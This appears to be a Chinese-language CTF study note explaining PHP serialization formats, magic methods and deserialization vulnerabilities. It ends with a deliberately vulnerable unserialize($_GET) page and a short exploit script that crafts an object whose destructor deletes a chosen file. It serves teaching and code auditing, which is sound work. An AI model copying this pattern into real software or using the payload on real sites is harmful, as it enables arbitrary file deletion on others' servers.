序列化及反序列化的考点为CTF中常见的代码审计知识点和考点,在学习完360网络安全大学的课程后,在这里做一些学习的重点和笔记,本文从序列化和反序列化的定义以及为什么要用到序列化这种传递方法,到PHP中常见的魔术函数,常见的反序列化漏洞

什么是序列化

序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。

这里借用Y4大佬的一个比喻,来通俗的说一下序列化及反序列化的过程

比如:现在我们都会在淘宝上买桌子,桌子这种很不规则的东西,该怎么从一个城市运输到另一个城市,这时候一般都会把它拆掉成板子,再装到箱子里面,就可以快递寄出去了,这个过程就类似我们的序列化的过程(把数据转化为可以存储或者传输的形式)。当买家收到货后,就需要自己把这些板子组装成桌子的样子,这个过程就像反序列的过程(转化成当初的数据对象)。

php的反序列化主要用到serializeunserialize这两个函数

serialize 将对象格式化成有序的字符串

unserialize 将字符串还原成原来的对象

序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。

为什么要有序列化和反序列化

为什么要有序列化和反序列化

传输
​ 服务端把数据序列化,发送到客户端,客户端把接收到的数据反序 列化后对数据进行操作,完成后再序列化发送到服务端,服务端再 反序列化数据后对数据进行操作

存储

​ 将内存中的对象状态保存至文件或数据库中,供之后使用

常见的序列化格式

  • 二进制格式
  • 字节数组
  • json字符串
  • xml字符串

简单的例子

1
2
3
4
5
6
7
<?php

$user=array('one','two','three');
$user=serialize($user);
echo($user.PHP_EOL);
print_r(unserialize($user));
?>

这串代码首先定义了一个数组,然后将数组进行序列化操作,然后输出序列化后的字符串,再将字符串反序列化以数组形式输出

1
2
3
4
5
6
7
a:3:{i:0;s:3:"one";i:1;s:3:"two";i:2;s:5:"three";}
Array
(
[0] => one
[1] => two
[2] => three
)

反序列化后正常的数组都能看明白,但是序列化后的json字符串就有点晦涩难懂,下面简单解释一下这个字符串的含义

1
2
3
4
a:3:{i:0;s:3:"one";i:1;s:3:"two";i:2;s:5:"three";}
a:array代表是数组,后面的3说明有三个属性
i:代表是整型数据int,后面的0是数组下标
s:代表是字符串,后面的4是因为one长度为3

序列化后的内容只有成员变量,没有成员函数,比如下面的例子

1
2
3
4
5
6
7
8
9
10
<?php
class test{
public $a;
public $b;
function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}
function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
?>

输出(O代表Object是对象的意思,也是类)

1
O:4:"test":2{s:1:"a";s:9:"xiaoshizi";s:1:"b";s:8:"laoshizi";}

还有一点是Y4大佬在博客中提到的:如果变量前是protected,则会在变量名前加上\x00*\x00,private则会在变量名前加上\x00类名\x00,输出时一般需要url编码,若在本地存储更推荐采用base64编码的形式,如下:

1
2
3
4
5
6
7
8
9
10
11
<?php
class test{
protected $a;
private $b;
function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}
function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
echo urlencode(serialize($a));
?>

输出则会导致不可见字符\x00的丢失

1
O:4:"test":2:{s:4:" * a";s:9:"xiaoshizi";s:7:" test b";s:8:"laoshizi";}

反序列化操作中常见的魔术方法

1
2
3
4
5
6
7
8
9
10
11
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

反序列化漏洞

  • 反序列化漏洞
    序列化与反序列化机制本身并无问题,但应用程序对于用户输入数据(不可信数据)进行了反序列化处理,使反序列化生成了非预期的对象,在对象的产生过程中可能产生攻击行为。
    常见编程语言PHP、JAVA、 Python中均具有反序列化问题,但由于JAVA的公用库,如Apache Commons Collections的广泛使用,导致WebLogic.webSphere、JBoss、Jenkins等应用均具有此漏洞。

今天我们主要分析PHP的反序列化漏洞

1.利用__wakeup()和destruct()函数造成的危害代码

由前可以看到,unserialize()后会导致wakeup() 或destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在wakeup() 或destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。我们这里直接使用参考文章的例子,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
//logfile.php 删除临时日志文件
class LogFile
{
//log文件名
public $filename = 'error.log';
//存储日志文件
public function LogData($text)
{
echo 'Log some data:' . $text . '<br />';
file_put_contents($this->filename, $text, FILE_APPEND);
}
//Destructor删除日志文件
public function __destruct()
{
echo '__destruct delete' . $this->filename . 'file.<br />';
unlink(dirname(__FILE__) . '/' . $this->filename);
//删除当前目录下的filename这个文件
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//包含了’logfile.php’的主页面文件index.php
<?php
include 'logfile.php';
class User
{
//属性
public $age = 0;
public $name = '';
//调用函数来输出类中属性
public function PrintData()
{
echo 'User' . $this->name . 'is' . $this->age . 'years old.<br />';
}
}
$usr = unserialize($_GET['user']);
?>

梳理下这2个php文件的功能,index.php是一个有php序列化漏洞的主业文件,logfile.php的功能就是在临时日志文件被记录了之后调用 __destruct方法来删除临时日志的一个php文件。 这个代码写的有点逻辑漏洞的感觉,利用这个漏洞的方式就是,通过构造能够删除source.txt的序列化字符串,然后get方式传入被反序列化函数,反序列化为对象,对象销毁后调用__destruct()来删除source.txt.

漏洞利用exp
1
2
3
4
5
6
7
<?php
include 'logfile.php';
$obj = new LogFile();
$obj->filename = 'source.txt';
//source.txt为你想删除的文件
echo serialize($obj) . '<br />';
?>

通过这个exp生成序列化后的json字符串再通过GET传参的方式传入web网站中实现删除文件功能